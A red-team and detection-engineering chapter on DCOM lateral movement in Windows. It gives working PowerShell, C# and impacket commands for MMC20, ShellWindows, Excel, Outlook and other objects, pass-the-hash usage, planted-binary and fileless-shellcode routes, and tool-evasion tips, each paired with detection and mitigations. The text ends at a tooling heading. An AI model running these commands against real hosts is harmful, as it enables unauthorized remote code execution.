58 KiB
02 · DCOM Lateral Movement
Audience / level: Red team operators and detection engineers; no DCOM background assumed, ramping to advanced tradecraft. Prerequisites: basic Windows administration (registry, services, event logs), TCP/IP fundamentals, and PowerShell or C# literacy. Estimated reading time: 90–120 minutes. After this chapter you will be able to explain DCOM remote activation packet-by-packet, execute commands on remote hosts through seven abusable COM object classes, pick the right tool for a given foothold, and predict exactly which telemetry each variant produces.
Contents
- 1. COM and DCOM in ten minutes
- 2. Activation over the wire
- 3. Authentication and authorization
- 4. Why DCOM is living off the land
- 5. Abusable remote COM objects
- 6. Tooling
- 7. Detection and OpSec
- 8. Hardening and the limits of KB5004442
- Research Lab: Hunting New DCOM Lateral-Movement Primitives
- References
1. COM and DCOM in ten minutes
The Component Object Model (COM) is Windows' local inter-process object model: a binary contract that lets one process instantiate and call objects implemented by another, with classes and interfaces identified by GUIDs. Distributed COM (DCOM) is the same object model remoted over the network. The transport is ORPC — Object RPC, Microsoft's extension of DCE/RPC carried over the ncacn_ip_tcp protocol sequence ([11]).
Beginner note: A CLSID (class identifier) is the GUID that names a COM class, for example
{49B2791A-B1AE-4C90-9B8E-E860BA07F889}. A ProgID is a human-readable alias such asMMC20.Application. Both are registered underHKCR\CLSID; the registry tells the COM runtime which binary implements the class and how to start it.
Beginner note: An AppID is a second GUID, stored under
HKCR\AppID\{AppID}, that groups classes for activation policy: which identity the server runs as (RunAs) and who may launch or activate it remotely (LaunchPermission). When you audit "DCOM permissions" you are auditing AppIDs, not CLSIDs.
A remote activation from .NET is three lines. COM interop performs CoCreateInstanceEx with a COSERVERINFO structure for you — no P/Invoke required:
$Type = [Type]::GetTypeFromCLSID($clsid, $ComputerName) # or GetTypeFromProgID($ProgId, $ComputerName)
$ComObject = [Activator]::CreateInstance($Type)
Under the hood, the runtime executes:
CoCreateInstanceEx(&clsid, pUnkOuter, CLSCTX_REMOTE_SERVER, pServerInfo /* COSERVERINFO */, n, rgiq);
COSERVERINFO.pwszName carries the target — and doubles as an authentication selector: a hostname or FQDN lets Kerberos work, while a bare IP address forces NTLMv2 (section 3).
Key idea: Everything in this chapter is a variation on one theme — find a class with a dangerous method, remote-activate it with
CoCreateInstanceEx, then call the method over ORPC. The objects change; the plumbing never does.
Legal: Every technique here requires administrative credentials on the target and executes code on machines you do not own. Use only inside an authorized engagement with written scope; reproduce in your own lab VMs (the PoCs below keep the RFC1918 addresses from the original write-ups).
2. Activation over the wire
When the three-line PowerShell snippet above runs against a remote host, this is what crosses the network, in order:
- Endpoint mapping (TCP 135). The client connects to the target's RPC endpoint mapper (epmap) on TCP 135. This connection is short-lived.
- Class resolution. The target's RPCSS service resolves the CLSID under
HKCR\CLSIDand locates the hosting binary and its AppID. - Authorization check. RPCSS evaluates the AppID's Launch/Activation permission (section 3) before starting anything.
- Server start. On success, the DCOM service control manager — DcomLaunch, visible as
svchost.exe -k DcomLaunch— starts the server process:mmc.exe -Embedding,EXCEL.EXE /automation -Embedding, orDllHost.exe /Processid:{AppID}for DLL-hosted classes. - OXID resolution. The client asks the object exporter (
IObjectExporter::ResolveOxid2) which dynamic port the new object listens on: 49152–65535 on Vista and later, 1024–5000 on legacy systems. - Method calls. All subsequent traffic —
IDispatch::GetIDsOfNamesto resolve method names to DISPIDs, thenIDispatch::Invokewith arguments — flows over that dynamic high port.
Beginner note: An OXID (object exporter identifier) is DCOM's handle for "the set of objects a server process exports"; resolving it is how the client learns the dynamic port. IDispatch is the late-binding interface that lets scripting clients and .NET
InvokeMembercall methods by name:GetIDsOfNames("ShellExecute")returns a DISPID, andInvokeexecutes it. Because calls are made by name, method strings cross the wire in readable form unless packet-privacy encryption is negotiated — a gift to network defenders (section 7).
The activation call itself is handled by IRemoteSCMActivator (historically ISystemActivator) on the target — opnum 3 RemoteGetClassObject for class objects, opnum 4 RemoteCreateInstance for instances. Both opnums against TCP 135 are high-fidelity network indicators, particularly between workstations.
How to read this figure: follow the numbered arrows left to right — the client's RemoteCreateInstance to TCP 135, OXID resolution via ResolveOxid2, then method calls on the dynamic high port. The amber callout marks where an OXID-man-in-the-middle attack (the potato family) hijacks the flow.
3. Authentication and authorization
DCOM is always authenticated. There is no anonymous remote activation. Two protocol paths exist:
| Path | Trigger | Server-side proof | Telemetry |
|---|---|---|---|
| Kerberos | Target given as hostname/FQDN | Service ticket for SPN RPCSS/<host> |
Security 4768/4769 (DC), 4624 Type 3 on target |
| NTLMv2 | Target given as bare IP | NTLM challenge/response | 4624 Type 3 on target, 4648 on source for explicit creds |
The 4624 Type 3 (network logon) on the target is unavoidable; 4672 (special privileges assigned) typically follows when the account is an admin. PtH (pass-the-hash) works over the NTLM path; membership in Protected Users blocks NTLM and therefore NTLM-based DCOM, while Kerberos DCOM remains possible. Tokens are single-hop: DCOM activation does not delegate, so you cannot bounce credentials onward from the pivot. For local testing, a loopback activation against 127.0.0.1 works — with ShellWindows it even runs in the interactive user's explorer context.
Authorization is separate from authentication and happens per AppID. The LaunchPermission value (REG_BINARY) under HKCR\AppID\{AppID} holds an ACL; when absent, the machine-wide defaults configured in dcomcnfg apply. Out of the box, those defaults grant Administrators Local + Remote Launch/Activation. Critically, the three classic abused objects — MMC20, ShellWindows, ShellBrowserWindow — have no explicit LaunchPermission, so they inherit the default and local admin on the target is the practical requirement.
Two identity caveats matter operationally:
- The Distributed COM Users group exists to delegate DCOM access to non-admins but is usually empty.
- UAC remote token filtering blocks non-RID-500 local accounts over the network unless
LocalAccountTokenFilterPolicy=1is set; domain accounts placed in local Administrators are unaffected and work.
OpSec: Enumerate the surface before you touch it:
Get-CimInstance Win32_DCOMApplicationlists AppIDs and names, and OleViewDotNet audits the ACLs (filterentry LaunchPermission == Noneto find classes inheriting the default) ([23]).
4. Why DCOM is living off the land
DCOM execution is prized in mature environments because it produces almost none of the artifacts defenders baseline for lateral movement:
- No service creation — no Security 7045 event, no
services.exewrite. - No scheduled task, no run key, no persistence of any kind.
- No
ADMIN$drop required for the pure PowerShell/C# primitives — the payload travels as method arguments, not as a file (impacket'sdcomexec.pyis the exception: it writes output back overADMIN$, section 6). - No new listening port on the target beyond the RPC dynamic-port plumbing that already exists.
- Execution rides signed Microsoft binaries —
mmc.exe,EXCEL.EXE,OUTLOOK.EXE,explorer.exe— using the same RPC plumbing as legitimate administration tools.
The trade-off: DCOM primitives are semi-interactive. ExecuteShellCommand and ShellExecute return no stdout, so operators exfiltrate results out-of-band — redirect to a share (/c whoami > \\share\o.txt) or let impacket write to \\127.0.0.1\ADMIN$ and read it back over SMB. Plan your channel before you fire the method.
5. Abusable remote COM objects
Every object below is remote-activatable with default permissions and exposes at least one method that reaches command execution. The anatomy is always the same; only the host process and the method differ.
How to read this figure: the attacker host (PowerShell or impacket) activates an object on the target over Kerberos/NTLM and TCP 135 + a dynamic port; RPCSS starts or attaches to the host process (mmc.exe here), and the method call spawns the payload as a child. Teal dashed callouts mark the defender's view: Sysmon 1 process lineage, Sysmon 3 inbound 135/high ports, and the absence of service installs or SMB drops.
| Object | CLSID | Host process | Extra requirement | Payload form |
|---|---|---|---|---|
| MMC20.Application | {49B2791A-B1AE-4C90-9B8E-E860BA07F889} |
mmc.exe -Embedding |
MMC firewall rule enabled | fileless command line |
| ShellWindows | {9BA05972-F6A8-11CF-A442-00A0C90A8F39} |
existing explorer.exe |
interactive session on target | fileless command line |
| ShellBrowserWindow | {C08AFD90-F2A1-11D1-8455-00A0C91F3880} |
existing explorer.exe |
interactive session; Win10/2012R2+ | fileless command line or file path |
| Excel.Application | {00020812-0000-0000-C000-000000000046} |
EXCEL.EXE /automation -Embedding |
Office installed | command line / DLL / XLM macro / planted binary |
| Outlook.Application | {0006F03A-0000-0000-C000-000000000046} |
OUTLOOK.EXE -Embedding |
Outlook installed | fileless shellcode (DotNetToJScript) |
| Visio / PowerPoint | via ProgID | VISIO.EXE / PowerPoint host |
respective app installed | add-in file |
| SyncInfrastructure (mobsync) | {C947D50F-378E-4FF6-8835-FCB50305244D} |
planted mobsync.exe |
target missing the binary; ADMIN$ write |
planted executable |
5.1 MMC20.Application (remote ExecuteShellCommand)
MITRE: T1021.003 · Since: enigma0x3, January 5, 2017 ([1]) · Affects: tested on Windows 7 / 10 / 2012R2 ([13])
The original DCOM lateral-movement primitive. The Microsoft Management Console automation object (MMC20.Application, AppID {7E0423CD-1119-0928-900C-E6D4A52A0715}) exposes the MMC snap-in object model to scripts, and buried at Document.ActiveView sits ExecuteShellCommand — a method that spawns an arbitrary process with a split program/parameters command line. enigma0x3's disclosure opened the entire research category ([1]).
How to read this figure: the five numbered steps walk from GetTypeFromCLSID on the attacker host, through activation with admin credentials and the MMC object-model descent (Application → Document → ActiveView), to ExecuteShellCommand spawning the payload on the target.
Mechanics
- Resolve the class on the target:
Type.GetTypeFromProgID("MMC20.Application", "192.168.99.132")— under the hoodCoCreateInstanceExwithCOSERVERINFO.pwszNameset to the target. - Authenticate as a local administrator (4624 Type 3 on the target; 4648 on the source for explicit creds).
- RPCSS checks launch permissions — MMC20 has no explicit
LaunchPermission, so the Administrators-friendly machine default applies — and DcomLaunch startsmmc.exe -Embeddingas the authenticating user. - Walk the object model over ORPC:
Documentproperty →ActiveViewproperty →ExecuteShellCommand(Command, Directory, Parameters, WindowState). Commandis the program (C:\Windows\System32\cmd.exe),Parametersits arguments (/c whoami > C:\temp\o.txt), andWindowState"7"runs it minimized. The child process appears undermmc.exe.- Collect output out-of-band — redirect to a file/share, since the method returns no stdout.
Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Local administrator on the target (default launch ACL) |
| Network | TCP 135 + one dynamic high port (49152–65535) inbound to the target |
| Config | Inbound firewall rule "Microsoft Management Console" must be enabled — it is blocked by default, which stops this object on many hardened builds |
| OS/build | Windows 7 / 10 / 2012R2 verified via impacket ([13]) |
Proof of concept
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.99.132"))
$com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\cmd.exe",$null,"/c whoami > C:\temp\o.txt","7")
Type t = Type.GetTypeFromProgID("MMC20.Application", "192.168.1.10");
object com = Activator.CreateInstance(t);
object doc = com.GetType().InvokeMember("Document", BindingFlags.GetProperty, null, com, null);
object view = doc.GetType().InvokeMember("ActiveView", BindingFlags.GetProperty, null, doc, null);
view.GetType().InvokeMember("ExecuteShellCommand", BindingFlags.InvokeMethod, null, view,
new object[]{ "C:\\Windows\\System32\\cmd.exe", null, "/c whoami > C:\\temp\\o.txt", "7" });
OpSec & detection
- Sysmon 1:
svchost.exe -k DcomLaunch→mmc.exe -Embedding, then a second-generationmmc.exe→cmd.exe/powershell.exe. The Sigma MMC20 rule keys exactly on this lineage (section 7) ([24]). - Security 4624 Type 3 on the target for the DCOM logon; Microsoft Defender for Identity raises "Remote code execution attempt" for MMC20.
- Network:
RemoteCreateInstance(opnum 4) to 135, thenGetIDsOfNames("ExecuteShellCommand")+Invokewith the full command line in cleartext at packet-integrity level (section 7). - Reduce noise: keep the whole payload in
ParameterssoImagestayscmd.exe; avoid staging files on the target so no Sysmon 11 fires.
Mitigations
- Keep the inbound "Microsoft Management Console" firewall rule disabled (default) and block workstation-to-workstation 135/dynamic ports.
- Set an explicit
LaunchPermissionon AppID{7E0423CD-1119-0928-900C-E6D4A52A0715}denying remote launch (section 8), and alert onmmc.exespawning child processes.
5.2 ShellWindows (ShellExecute as the interactive user)
MITRE: T1021.003 · Since: enigma0x3, "DCOM Round 2", January 23, 2017 ([2]) · Affects: tested on Windows 7 / 10 / 2012R2 ([13])
ShellWindows (CLSID {9BA05972-F6A8-11CF-A442-00A0C90A8F39}, no ProgID, LocalServer32 rundll32.exe) is registered with RunAs: Interactive User and piggybacks the already-running explorer.exe — activation attaches to the user's shell instead of starting a new COM host, so there is no mmc.exe-style spawn event. Through the IShellDispatch2 interface it exposes ShellExecute, plus a toolchest of bonus methods: ServiceStart, ServiceStop, IsServiceRunning, ShutDownWindows, GetSystemInformation ([2]). It is the default object in impacket's dcomexec.py ([13]).
How to read this figure: the attacker activates ShellWindows on the target, but execution attaches to the logged-on user's explorer.exe; .Item().Document.Application.ShellExecute("cmd.exe", ...) spawns the payload as an explorer child. Note the requirement banner: an interactive session must exist on the target, and the payload runs as that logged-on user.
Mechanics
- Remote-activate CLSID
{9BA05972-F6A8-11CF-A442-00A0C90A8F39}against the target with admin credentials. - Because of RunAs: Interactive User, the activation binds to the interactive session's
explorer.exe; if no user is logged on, the technique fails. - Call
.Item()to get a shell folder window object. - Descend
Document.Applicationto reachIShellDispatch2.ShellExecute(sFile, vArguments, vDirectory, vOperation, vShow). vShow0hides the window; the payload starts as a child ofexplorer.exe, running as the logged-on user.- Output returns nothing — exfiltrate out-of-band as with MMC20.
Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Local administrator on the target (inherited default launch ACL) |
| Session | An interactive logon session must exist on the target — RunAs: Interactive User binds to it |
| Network | TCP 135 + dynamic high port inbound |
| OS/build | Windows 7 / 10 / 2012R2 verified ([13]) |
Proof of concept
$com = [Type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","192.168.99.13")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
# impacket dcomexec.py — ShellWindows is the default object
dcomexec.py DOMAIN/admin:pass@192.168.1.10 "cmd.exe /c whoami > C:\\temp\\o.txt"
dcomexec.py -object ShellWindows -hashes :NTHASH DOMAIN/admin@192.168.1.10
OpSec & detection
- Sysmon 1: no COM-host spawn; instead
explorer.exe→cmd.exe, which is rarer and higher-signal on servers than on workstations. - Network: DCE/RPC
GetIDsOfNames("ShellExecute")and theInvokearguments cross in cleartext at Packet-Integrity — integrity protects against tampering, not disclosure; only Packet Privacy encrypts. - Reduce noise: no new host process and no
-Embeddingcommand line make this the quietest of the classic three on the process axis; the unavoidable artifacts are the 4624 Type 3 and the network-level method strings.
Mitigations
- Remove Remote Launch/Activation from Administrators in the machine-wide DCOM defaults (section 8) — ShellWindows has no explicit ACL to fall back on.
- Alert on
explorer.exespawning command interpreters, especially on servers where users rarely log on interactively.
5.3 ShellBrowserWindow (ShellExecute and Navigate)
MITRE: T1021.003 · Since: enigma0x3 Round 2 ([2]); Navigate variant by bohops, March 17, 2018 ([7]) · Affects: Windows 10 / 2012R2 and later only — absent on Windows 7; impacket-verified on Win10/2012R2 ([13])
ShellBrowserWindow (CLSID {C08AFD90-F2A1-11D1-8455-00A0C91F3880}, no ProgID, RunAs: Interactive User) is the sibling of ShellWindows with two practical differences: the ShellExecute path needs no .Item() call (Document.Application is reachable directly), and the object also implements IWebBrowser2, giving Navigate/Navigate2 — a file-path execution primitive that takes no command-line switches at all ([2][7]).
Mechanics
- Remote-activate
{C08AFD90-F2A1-11D1-8455-00A0C91F3880}; as with ShellWindows, execution binds to the interactive user's session. - ShellExecute path: call
Document.Application.ShellExecute(...)directly — sameIShellDispatch2semantics as 5.2, one hop shorter. - Navigate path: call
Navigate("C:\path\payload.exe")(orNavigate2) and the shell "opens" the target, executing it. - Navigate constraints, from bohops' testing: file paths only, no command switches; avoid
.hta(triggers a prompt); avoid HTTP/S URLs (an IE window visibly pops); UNC paths work — stage the binary on a share and navigate to it. - Reliability caveat: Navigate/2 worked from Windows 10 against Server 2012 targets but failed against Windows 10/2016 targets in bohops' tests — treat it as version-sensitive and prefer ShellExecute ([7]).
Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Local administrator on the target |
| Session | Interactive logon session on the target |
| Network | TCP 135 + dynamic high port inbound |
| OS/build | Windows 10 / 2012R2+; the class does not exist on Windows 7 |
Proof of concept
# ShellExecute — no .Item() needed
([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","TARGET"))).Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
# Navigate — file path or UNC only, no switches
([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","TARGET"))).Navigate("C:\path\payload.exe")
OpSec & detection
- Identical lineage to ShellWindows (payload under
explorer.exe), so process-based rules for 5.2 cover it; no separate COM-host artifact. - The Navigate variant produces no child command line at all — detection shifts to the file being opened (Sysmon 11 on the drop, or network/SMB telemetry for UNC fetches) and the IE-window side effects of bad scheme choices.
- Method strings
Navigate/Navigate2andShellExecuteare visible to DCE/RPC-aware network inspection (section 7).
Mitigations
- Same class-level controls as ShellWindows (default-ACL tightening, segmentation); on Windows 7 this object is a non-issue because the class is absent.
5.4 Excel.Application (five execution primitives)
MITRE: T1021.003 + T1559.001 · Since: 2017–2023, five researchers/teams (below) · Affects: any Windows build with Office installed; variant (e) requires Windows 10/11 + Office 365 x64
Excel is the richest DCOM target ever published: remote activation starts EXCEL.EXE /automation -Embedding (a strong, high-signal artifact) and hands you an automation surface with at least five independent paths to execution. The shared CLSID is {00020812-0000-0000-C000-000000000046}; the host command line /automation -Embedding is common to all variants.
Beginner note: DDE (Dynamic Data Exchange) is a legacy inter-app messaging protocol Excel still supports; XLM is Excel's pre-VBA macro language, executable through
ExecuteExcel4Macro; an XLL is a DLL-based Excel add-in loaded by path;ActivateMicrosoftAppis an automation method that launches sibling Office applications by numeric ID.
(a) DDEInitiate — command line over DDE (Cybereason/Tsukerman, September 11, 2017)
DDEInitiate(App, Topic) was meant to open a DDE channel to another application, but Excel helpfully launches the named executable when no DDE server exists. Constraints: App is capped at 8 characters and .exe is auto-appended (so pass cmd, not cmd.exe); Topic carries up to 1024 characters of arguments; set DisplayAlerts=$false to suppress prompts. The spawned process is a child of EXCEL.EXE ([5]).
$hb = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","192.168.126.134"))
$hb.DisplayAlerts = $false
$hb.DDEInitiate('cmd','/c powershell -enc <cradle>')
(b) RegisterXLL — DLL load by path (Ryan Hanson / Empire)
Application.RegisterXLL(dllPath) registers an XLL add-in — but the load is performed with ordinary DLL semantics, so DllMain executes regardless of file extension or exports. A UNC path works, letting the payload DLL live on an attacker-controlled share rather than the target disk ([3]). Watch for Sysmon 7 (image load) of an .xll or unknown-module load into EXCEL.EXE.
(c) Run() macro — staged .xlsm (enigma0x3)
The straightforward route: copy a macro-enabled workbook (.xlsm) to the target, Workbooks.Open it remotely, then $com.Run("MyMacro") to invoke VBA inside the remote Excel ([3]). Reliable but touches disk (Sysmon 11 on the .xlsm).
(d) ExecuteExcel4Macro — fileless XLM and in-process shellcode (Stan Hegt/Outflank; MDSec, September 2020)
ExecuteExcel4Macro evaluates XLM macro strings directly — no workbook needed. EXEC("calc.exe") is the one-liner; the full MDSec chain achieves shellcode injection inside the DCOM-spawned excel.exe via CALL("Kernel32","VirtualAlloc",...) + RtlMoveMemory + QueueUserAPC, entirely fileless ([9]). Weaponized by SharpExcel4-DCOM (rvrsh3ll) ([18]).
Type ComType = Type.GetTypeFromProgID("Excel.Application", REMOTE_HOST);
object excel = Activator.CreateInstance(ComType);
excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel,
new object[] { "EXEC(\"calc.exe\")" });
(e) ActivateMicrosoftApp — EOL binary proxy execution (SpecterOps, 2023)
ActivateMicrosoftApp(5|6|7) launches end-of-life Office siblings (FoxPro, WinProj, Schedule+) — and resolves their binaries via PATH search. Plant a payload as %LOCALAPPDATA%\Microsoft\WindowsApps\FOXPROW.exe over ADMIN$, then activate index 5: Excel launches your binary under the EOL application's name. Requires Windows 10/11 with Office 365 x64 ([10]).
Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Local administrator on the target |
| Software | Microsoft Office (Excel) installed — so workstations and VDI, rarely servers |
| Network | TCP 135 + dynamic high port inbound |
| Variant-specific | (e) needs ADMIN$ write for the planted binary; (c) needs a staged .xlsm |
OpSec & detection
- Sysmon 1:
svchost.exe -k DcomLaunch→EXCEL.EXE /automation -Embedding, then children ofEXCEL.EXE. FalconFriday notes/automation -Embeddingalone is noisy as an analytic — correlate with lineage and Office's non-interactive use ([25]). - Sysmon 7:
.xllor unknown-DLL loads intoEXCEL.EXE(RegisterXLL). - On servers, non-interactive Office usage is close to a zero-false-positive signal — prioritize it.
- Excel's
DisplayAlerts=$falseand hidden windows reduce user-facing noise but do nothing against process telemetry.
Mitigations
- Do not install Office on servers; block Office child processes via application control/ASR rules.
- DCOM default-ACL tightening (section 8) removes the remote-activation path for every variant at once.
5.5 Outlook.Application (CreateObject plus DotNetToJScript)
MITRE: T1021.003 + T1559.001 · Since: enigma0x3, November 16, 2017 ([4]) · Affects: hosts with Microsoft Outlook installed
Outlook's automation object (CLSID {0006F03A-0000-0000-C000-000000000046}, host OUTLOOK.EXE -Embedding) exposes CreateObject — a factory method that instantiates arbitrary other COM objects inside the remote Outlook process. Point it at ScriptControl, feed it JScript produced by DotNetToJScript, and you get fileless shellcode execution on the remote host with no payload on disk ([4]).
Mechanics
- Remote-activate
Outlook.Applicationon the target (admin creds;OUTLOOK.EXE -Embeddingstarts). - Call
$object.CreateObject("ScriptControl")— Outlook instantiates the ScriptControl COM object in-process. - Set
.Language = "JScript"and call.AddCode($code)where$codeis DotNetToJScript output wrapping a .NET assembly — typically a shellcode loader. - The JScript engine deserializes and runs the .NET payload inside
OUTLOOK.EXE: fileless execution under a signed Microsoft binary. - Variants from the same post:
$object.CreateObject("Shell.Application").ShellExecute(...)for direct command execution;CreateObject("Wscript.Shell")also works but drags in awshom.ocximage-load IoC ([4]).
Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Local administrator on the target |
| Software | Microsoft Outlook installed |
| Network | TCP 135 + dynamic high port inbound |
| Tooling | DotNetToJScript (or equivalent) to build the JScript payload |
Proof of concept
$com = [Type]::GetTypeFromProgID('Outlook.Application','192.168.99.152')
$object = [System.Activator]::CreateInstance($com)
$RemoteScriptControl = $object.CreateObject("ScriptControl")
$RemoteScriptControl.Language = "JScript"
$RemoteScriptControl.AddCode($code) # $code = DotNetToJScript output -> fileless shellcode
OpSec & detection
- Sysmon 1:
svchost.exe -k DcomLaunch→OUTLOOK.EXE -Embedding; the payload runs inside Outlook, so there is no second-generation child — lineage detection must key on the anomalous Outlook spawn itself. - Sysmon 7:
wshom.ocxload if the Wscript.Shell variant is used. - Payload is fileless, so disk-based telemetry (Sysmon 11/13) stays silent; ScriptControl usage is the choke point for app-control rules.
Mitigations
- Block
ScriptControl(andmshta) via application control where not needed; alert on non-interactiveOUTLOOK.EXE -Embeddingspawns. - No Office/Outlook on servers; DCOM ACL hardening per section 8.
5.6 Visio and PowerPoint (add-in loading)
MITRE: T1021.003 · Since: Visio — Cybereason ([6]); PowerPoint — attactics.org, February 2018 ([20]) · Affects: hosts with Visio or PowerPoint installed
The Office add-in model generalizes the RegisterXLL idea: several Office applications will load an arbitrary file as an "add-in" over DCOM, and the load executes code.
Mechanics
- Visio: remote-activate ProgID
Visio.Application(orVisio.InvisibleAppfor a windowless host) and callAddons.Add(path)— Visio loads any executable as an add-on; it runs as a child ofVISIO.EXE([6]). - PowerPoint: remote-activate
PowerPoint.Applicationand callAddIns.Add("c:\addin.ppam")to register a VBA add-in whose macros execute ([20]). - In both cases a payload file must be staged first (share or target disk);
Invoke-DCOMPowerPointPivot.ps1automates the PowerPoint route ([20]).
Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Local administrator on the target |
| Software | Visio / PowerPoint installed |
| Staging | Add-in file reachable by the target (UNC or local path) |
| Network | TCP 135 + dynamic high port inbound |
Proof of concept
# Visio — path may point at any executable (illustrative one-liner; see [6])
$v = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.InvisibleApp","TARGET"))
$v.Addons.Add("\\share\payload.exe")
# PowerPoint — register a VBA add-in (illustrative one-liner; see [20])
$p = [activator]::CreateInstance([type]::GetTypeFromProgID("PowerPoint.Application","TARGET"))
$p.AddIns.Add("c:\addin.ppam")
OpSec & detection
- Child processes of
VISIO.EXE/ the PowerPoint host; Sysmon 11 on the staged.ppam/payload. - Same
/automation-style non-interactive Office signal as Excel — near-zero false positives on servers.
Mitigations
- Application control over Office add-in loads; no Office on servers; DCOM ACL hardening (section 8).
5.7 Abandoned DCOM binaries (mobsync and friends)
MITRE: T1021.003 · Since: bohops, April 28, 2018 ([8]) · Affects: Windows 2008R2 / 2012R2 for the canonical mobsync case; the pattern applies wherever an orphaned registration survives
A registry inversion of the usual technique: instead of finding a dangerous method, find a DCOM class whose LocalServer32/InProcServer32 binary does not exist on the target, plant a payload at that path, and remote-activate the class. DcomLaunch obligingly starts your binary as the server. The canonical case is mobsync.exe — present in the registry but absent on disk on 2008R2/2012R2 — registered as the SyncInfrastructure class, CLSID {C947D50F-378E-4FF6-8835-FCB50305244D} ([8]).
Mechanics
- Identify an abandoned registration (the Research Lab section gives a hunting recipe; third-party uninstall leftovers qualify too — bohops lists
IntelCpHDCPSvc.exe, AppID{84081F6F-8B2D-4FFE-AF7F-E72D488FABEB}). - Copy the payload to the registered path:
copy evil.exe \\target\admin$\system32\mobsync.exe. - Remote-activate
{C947D50F-378E-4FF6-8835-FCB50305244D}. DcomLaunch startsmobsync.exe— your payload. - The client receives
0x80080005(CO_E_SERVER_EXEC_FAILURE) because the binary never registers a class object — the payload runs anyway. Treat the error as expected, not as failure.
Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Local administrator on the target; write access to the registered path (ADMIN$) |
| OS/build | mobsync.exe absent on 2008R2/2012R2 — verify per-target (other abandoned paths vary by build) |
| Network | TCP 135 + dynamic high port, plus SMB 445 for the plant |
Proof of concept
copy evil.exe \\target\admin$\system32\mobsync.exe
[activator]::CreateInstance([type]::GetTypeFromCLSID("C947D50F-378E-4FF6-8835-FCB50305244D","target"))
OpSec & detection
- System log, DistributedCOM 10010 — " did not register with DCOM within the required timeout" — is the signature event; it fires because the payload never registers.
- Sysmon 11/13: the
mobsync.exefile write itself; amobsync.exeprocess on a server is inherently suspicious. - This variant does touch disk (unlike the pure primitives), trading stealth for reliability on older builds.
Mitigations
- Prune orphaned COM registrations; baseline
LocalServer32paths and alert on binaries appearing at registered-but-previously-missing paths. - Watch DistributedCOM 10010 — it has a low baseline and a precise meaning.
5.8 Adjacent surfaces (Word, Internet Explorer, LethalHTA)
- Word: remote DDE was unverified in Cybereason's testing — only Excel responded; the macro route (
Runanalog) is plausible but unconfirmed. Mark: (verify in lab) before relying on it ([6]). - InternetExplorer.Application (
{0002DF01-0000-0000-C000-000000000046}) is constrained by IE protected mode; the community-standard alternative is bohops'Navigatevia ShellBrowserWindow (5.3). A Sigma rule exists for the "DCOM InternetExplorer.Application iertutil DLL hijack" variant, and Sysmon 7 catchesiertutil.dllloading from a non-system path ([2][7]). - LethalHTA (codewhitesec, July 2018) remote-activates the
htafileProgID (mshtaLocalServer32) with a custom moniker plus DotNetToJScript for fileless, HTA-less execution — code atgithub.com/codewhitesec/LethalHTA([19]).
6. Tooling
Every primitive above reduces to GetTypeFromCLSID/GetTypeFromProgID + Activator.CreateInstance + one method call, so tooling differs mainly in output handling, auth options, and operational wrappers.
impacket dcomexec.py
A semi-interactive shell over DCOM supporting three objects — MMC20, ShellWindows (default), ShellBrowserWindow ([13]). It wraps your command as cmd /c <cmd> 1> \\127.0.0.1\ADMIN$\__<epoch>.<ms> 2>&1 and reads the result back over SMB, so it needs ADMIN$ (override with -share; -nooutput runs blind). Other switches: -shell-type powershell, -silentcommand. Authentication: cleartext, -hashes (PtH), -k Kerberos with -aesKey/-keytab. Tested matrix: MMC20 on Win7/10/2012R2; ShellWindows on Win7/10/2012R2; ShellBrowserWindow on Win10/2012R2 ([13]).
dcomexec.py DOMAIN/admin:pass@192.168.1.10 "cmd.exe /c whoami > C:\\temp\\o.txt" # ShellWindows default
dcomexec.py -object ShellWindows -hashes :NTHASH DOMAIN/admin@192.168.1.10
dcomexec.py -object MMC20 -k -nooutput DOMAIN/admin@target.domain.local
OpSec: the
\\127.0.0.1\ADMIN$\__<epoch>.<ms>write-back leaves a deterministic pattern in command lines andADMIN$: the regex\\__[0-9]{10}\.[0-9]{6,7}\s2>&1detects it ([26]). Use-nooutputwhen you can.
Invoke-DCOM.ps1
rvrsh3ll's PowerShell wrapper for the enigma0x3-era primitives ([15]). It automates exactly the object walks shown in sections 5.1–5.4; the underlying one-liner it wraps is:
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","TARGET")).Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami","7")
SharpMove
0xthirteen's C# lateral-movement collection; DCOM execution via action=dcom, and action=hijackdcom for the planted-binary variant ([16]):
SharpMove.exe action=dcom computername=TARGET command="cmd.exe /c calc.exe" (illustrative; see repo for full syntax [16])
Defenders ship a Sigma rule for it (proc_creation_win_hktl_sharpmove) — recompile with renamed artifacts before use.
SharpCOM
rvrsh3ll's C# implementation of the classic objects ([17]); functionally the C# MMC20 snippet from section 5.1 with target/CLSID parameterization. Useful when PowerShell logging (Script Block, AMSI) is a concern and you want the same primitives in an assembly.
SharpExcel4-DCOM
rvrsh3ll's weaponization of the Excel ExecuteExcel4Macro primitive (section 5.4d) — remote XLM execution without staging a workbook ([18]):
// core call it wraps; see repo for full CLI [18]
excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel,
new object[] { "EXEC(\"calc.exe\")" });
Cobalt Strike
DCOM execution is documented in the Cobalt Strike User Guide under remote-exec (com-mmc20); the Aggressor-accessible one-liner is the MMC20 primitive itself (no public URL is cited in our source material):
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","TARGET")).Document.ActiveView.ExecuteShellCommand("c:\windows\temp\a.exe", $null, "", "7");
NetExec
